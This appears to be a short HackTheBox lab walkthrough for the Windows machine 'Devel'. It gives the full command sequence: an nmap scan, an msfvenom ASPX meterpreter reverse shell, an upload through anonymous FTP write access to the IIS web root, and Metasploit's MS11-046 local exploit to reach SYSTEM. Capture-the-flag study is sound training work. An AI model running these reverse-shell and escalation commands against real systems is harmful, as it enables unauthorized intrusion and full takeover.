Devel writeup & walkthrough

Devel is an easy HackTheBox Windows machine where anonymous FTP write access to the IIS web root allows uploading an ASPX reverse shell. Privilege escalation uses MS11-046 (afd.sys) to get SYSTEM.

HackTheBox - Devel

Access Path

no access => IIS user => SYSTEM

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Command Flow

These notes preserve the original command sequence while grouping it in a command block for cleaner rendering.

nmap -sV -sC -Pn 10.10.10.5
# Open: FTP (21) anonymous write, IIS (80)

# Generate ASPX shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f aspx -o shell.aspx

# Upload via anonymous FTP
ftp 10.10.10.5
# anonymous login, no password
put shell.aspx

# Start handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4444
run

# Trigger shell via browser: http://10.10.10.5/shell.aspx

# Privilege Escalation - MS11-046
use exploit/windows/local/ms11_046_afd_privilege_escalation
set SESSION 1
run
# => NT AUTHORITYSYSTEM